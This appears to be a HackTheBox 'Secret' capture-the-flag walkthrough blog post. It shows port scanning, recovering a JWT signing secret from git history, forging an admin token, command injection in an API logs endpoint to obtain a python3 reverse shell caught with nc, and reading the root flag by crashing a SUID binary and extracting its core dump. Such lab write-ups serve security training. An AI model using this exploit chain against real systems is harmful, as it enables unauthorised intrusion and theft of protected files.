Secret - [HTB]

Cover Image for Secret - [HTB]

Table of Contents


    Secret is an easy Linux machine from HackTheBox where the attacker will have to create its own JWT token in order to exploit an API for obtaining a reverse shell. Then, will have to force a core dump of a SUID binary to obtain the contents of the root flag.


    As always, let's start finding all opened ports in the machine with Nmap.

    kali@kali:~/Documents/HTB/Secret$ sudo nmap -v -sS -p- -n -T5 -oN AllPorts.txt
    Warning: giving up on port because retransmission cap hit (2).
    Nmap scan report for
    Host is up (0.17s latency).
    Not shown: 65532 closed ports
    22/tcp   open  ssh
    80/tcp   open  http
    3000/tcp open  ppp
    Read data files from: /usr/bin/../share/nmap
    # Nmap done at Sun Oct 31 17:25:05 2021 -- 1 IP address (1 host up) scanned in 326.02 second

    Then, we continue with a deeper scan of every opened port getting more information about each service.

    kali@kali:~/Documents/HTB/Secret$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80,3000
    Nmap scan report for
    Host is up (0.17s latency).
    22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
    |   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
    |_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
    80/tcp   open  http    nginx 1.18.0 (Ubuntu)
    |_http-server-header: nginx/1.18.0 (Ubuntu)
    |_http-title: DUMB Docs
    3000/tcp open  http    Node.js (Express middleware)
    |_http-title: DUMB Docs
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

    Having a look at port 80 there is a web page where we can find a ton of information about an API in development.


    With the following link, we can download the API's source code, and in this other link, we can retrieve information about the API functions.

    Register userPOSThttp://{"name": "", "email": "","password": "" }
    Login userPOSThttp://{"email": "","password": "" }
    Access Private RouteGEThttp:// <JWT_TOKEN>

    Once the source code is downloaded, we can analyse how the API works internally

    kali@kali:~/Documents/HTB/Secret/ApiSource$ wget
    kali@kali:~/Documents/HTB/Secret/ApiSource$ unzip 
    kali@kali:~/Documents/HTB/Secret/ApiSource$ cd local-web
    kali@kali:~/Documents/HTB/Secret/ApiSource/local-web$ ls -la
    total 122
    drwxrwx--- 1 root vboxsf  4096 Sep  3 01:57 .
    drwxrwx--- 1 root vboxsf     0 Nov  1 07:44 ..
    -rwxrwx--- 1 root vboxsf    72 Sep  3 01:59 .env
    drwxrwx--- 1 root vboxsf  4096 Sep  8 14:33 .git
    -rwxrwx--- 1 root vboxsf   885 Sep  3 01:56 index.js
    drwxrwx--- 1 root vboxsf     0 Aug 13 00:42 model
    drwxrwx--- 1 root vboxsf     0 Sep  3 01:54 public
    drwxrwx--- 1 root vboxsf     0 Sep  3 02:32 routes
    drwxrwx--- 1 root vboxsf     0 Aug 13 00:42 src
    -rwxrwx--- 1 root vboxsf   651 Aug 13 00:42 validations.js

    To access the endpoint /priv, our JWT token must contain the name "theadmin", as we can see in routes/private.js.

      5 router.get('/priv', verifytoken, (req, res) => {
      6    // res.send(req.user)
      8     const userinfo = { name: req.user }
     10     const name =;
     12     if (name == 'theadmin'){
     13         res.json({
     14             creds:{
     15                 role:"admin",
     16                 username:"theadmin",
     17                 desc : "welcome back admin,"
     18             }
     19         })
     20     }

    Furthermore, we require the TOKEN_SECRET that is being used at routes/verifytoken.js

      1 const jwt = require("jsonwebtoken");
      3 module.exports = function (req, res, next) {
      4     const token = req.header("auth-token");
      5     if (!token) return res.status(401).send("Access Denied");
      7     try {
      8         const verified = jwt.verify(token, process.env.TOKEN_SECRET);
      9         req.user = verified;
     10         next();
     11     } catch (err) {
     12         res.status(400).send("Invalid Token");
     13     }
     14 };

    Looking at the source code commits we can see that .env was removed. But, going to the previous commit we can obtain it.

    kali@kali:~/Documents/HTB/Secret/ApiSource/local-web$ git log --oneline
    e297a27 (HEAD -> master) now we can view logs from server 😃
    67d8da7 removed .env for security reasons
    de0a46b added /downloads
    4e55472 removed swap
    3a367e7 added downloads
    55fe756 first commit

    As we can see, .env contains the TOKET_SECRET needed to craft our own JWT token.

    kali@kali:/tmp/local-web$ git checkout de0a46b
    Previous HEAD position was 67d8da7 removed .env for security reasons
    HEAD is now at de0a46b added /downloads
    kali@kali:/tmp/local-web$ git log --oneline
    de0a46b (HEAD) added /downloads
    4e55472 removed swap
    3a367e7 added downloads
    55fe756 first commit
    kali@kali:/tmp/local-web$ cat .env 
    DB_CONNECT = 'mongodb://'
    TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

    Exploitation 1

    In order to do so, we can use


    Thanks to curl we can see if that really worked.

    kali@kali:~/Documents/HTB/Secret$ curl -w "\n" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.52W5mGLsIO2iiLpy3f1VkVavP4hOoWHxy5_0BDn9UKo' | jq
      "creds": {
        "role": "admin",
        "username": "theadmin",
        "desc": "welcome back admin"

    Exploitation 2

    Looking again at the git commits we can see that there is a new feature in order to see logs. This feature is located at ./routes/private.js, where we can see that executes the git command without previous sanitation.

     32 router.get('/logs', verifytoken, (req, res) => {
     33     const file = req.query.file;
     34     const userinfo = { name: req.user }
     35     const name =;
     37     if (name == 'theadmin'){
     38         const getLogs = `git log --oneline ${file}`;
     39         exec(getLogs, (err , output) =>{
     40             if(err){
     41                 res.status(500).send(err);
     42                 return
     43             }
     44             res.json(output);
     45         })
     46     }

    Because this function requires a GET method we need to pass the file name parameter through the URL.

    kali@kali:~/Documents/HTB/Secret$ curl -w "\n\n" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.52W5mGLsIO2iiLpy3f1VkVavP4hOoWHxy5_0BDn9UKo' 
      "killed": false,
      "code": 128,
      "signal": null,
      "cmd": "git log --oneline id"

    In order to obtain a reverse shell, we can use python3.

    Note: Do not forget to change the IP.

    kali@kali:~/Documents/HTB/Secret$ curl -w "\n\n" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.52W5mGLsIO2iiLpy3f1VkVavP4hOoWHxy5_0BDn9UKo'<IP>

    Now, we are able to obtain the user flag.

    kali@kali:~/Documents/HTB/Secret$ nc -nlvp 4444
    listening on [any] 4444 ...
    connect to [] from (UNKNOWN) [] 52616
    $ python3 -c "import pty;pty.spawn('/bin/bash')"
    dasith@secret:~/local-web$ id
    uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
    dasith@secret:~/local-web$ cat /home/dasith/user.txt 

    Privilege escalation

    At /opt there is a SUID binary which source code can be found at /opt/code.c.

    dasith@secret:/opt$ ls -l
    total 32
    -rw-r--r-- 1 root root  3736 Oct  7 10:01 code.c
    -rwsr-xr-x 1 root root 17824 Oct  7 10:03 count
    -rw-r--r-- 1 root root  4622 Oct  7 10:04 valgrind.log

    Essentially this code is an implementation of the wc command which counts the number of characters, words and lines of a file. Furthermore, core dumps are enabled so we can retrieve everything that is stored in memory during its execution like the contents of a read file.

    108 int main()
    109 {
    110     char path[100];
    111     int res;
    112     struct stat path_s;
    113     char summary[4096];
    115     printf("Enter source file/directory name: ");
    116     scanf("%99s", path);
    117     getchar();
    118     stat(path, &path_s);
    119     if(S_ISDIR(path_s.st_mode))
    120         dircount(path, summary);
    121     else
    122         filecount(path, summary);
    124     // drop privs to limit file write
    125     setuid(getuid());
    126     // Enable coredump generation
    127     prctl(PR_SET_DUMPABLE, 1);
    128     printf("Save results a file? [y/N]: ");
    129     res = getchar();

    To do this, we need to execute the program and live it running after the file has been read.

    dasith@secret:~$ /opt/count 
    Enter source file/directory name: /root/root.txt
    Total characters = 33
    Total words      = 2
    Total lines      = 2
    Save results a file? [y/N]: 

    Then, using another reverse shell we need to kill the program execution by sending a SIGNAL ABORT.

    dasith@secret:~$ kill -6 $(pidof count)

    Then, in the former terminal, you will see the message "Aborted (core dumped)".

    The core dump will be located at /var/crash/.

    dasith@secret:~$ ls -la /var/crash/
    total 88
    drwxrwxrwt  2 root   root    4096 Nov  1 14:21 .
    drwxr-xr-x 14 root   root    4096 Aug 13 05:12 ..
    -rw-r-----  1 dasith dasith 28147 Nov  1 14:21 _opt_count.1000.crash

    Finally, in order to obtain the contents of the root flag, we need to execute the following commands.

    dasith@secret:~$ mkdir /tmp/crash
    dasith@secret:~$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash
    dasith@secret:~$ strings -n 10 /tmp/crash/CoreDump | grep -A1 root